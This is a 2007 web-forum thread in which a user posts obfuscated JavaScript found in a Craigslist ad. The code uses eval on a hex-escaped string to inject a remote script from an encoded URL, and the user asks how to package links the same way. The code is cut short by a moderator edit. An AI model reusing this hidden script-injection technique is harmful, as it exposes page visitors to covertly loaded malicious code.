homepage Welcome to WebmasterWorld Guest from
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Become a Pro Member
Home / Forums Index / Code, Content, and Presentation / XML Development
Forum Library, Charter, Moderators: httpwebwitch

XML Development Forum

I saw this on craigslist
Craigslist xml

5+ Year Member

Msg#: 3377003 posted 8:18 pm on Jun 23, 2007 (gmt 0)

Hiya all, I saw this code in the source of a craigslist ad

<xml ondatasetchanged="vagxf='%76%61%72%20%6a%70%67%32%32%35%37%34
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

I translated it to this..

<xml ondatasetchanged="vagxf='var jpg2257424850=document.createElement("script"); jpg2257424850.setAttribute("src", z("http://www.craigslist.org/?22921721722127528285287218287221229221270")); document.body.appendChild(jpg2257424850);function z(s){var o="",i,p,q="";for(i=s.indexOf("?")+1;i<=s.length-3;i+=3)
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

As I'm more of a web promoter than a developer, I was wondering what was going on? The original ad was just a click link in an ad. How can I package my click links like this?
Thanks in advance.

[edited by: encyclo at 5:56 pm (utc) on June 24, 2007]
[edit reason] shortened code and fixed side-scroll [/edit]



WebmasterWorld Senior Member 10+ Year Member

Msg#: 3377003 posted 8:55 pm on Jun 23, 2007 (gmt 0)

Try a search for "code obfustication"


Global Options:
 top home search open messages active posts  

Home / Forums Index / Code, Content, and Presentation / XML Development
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved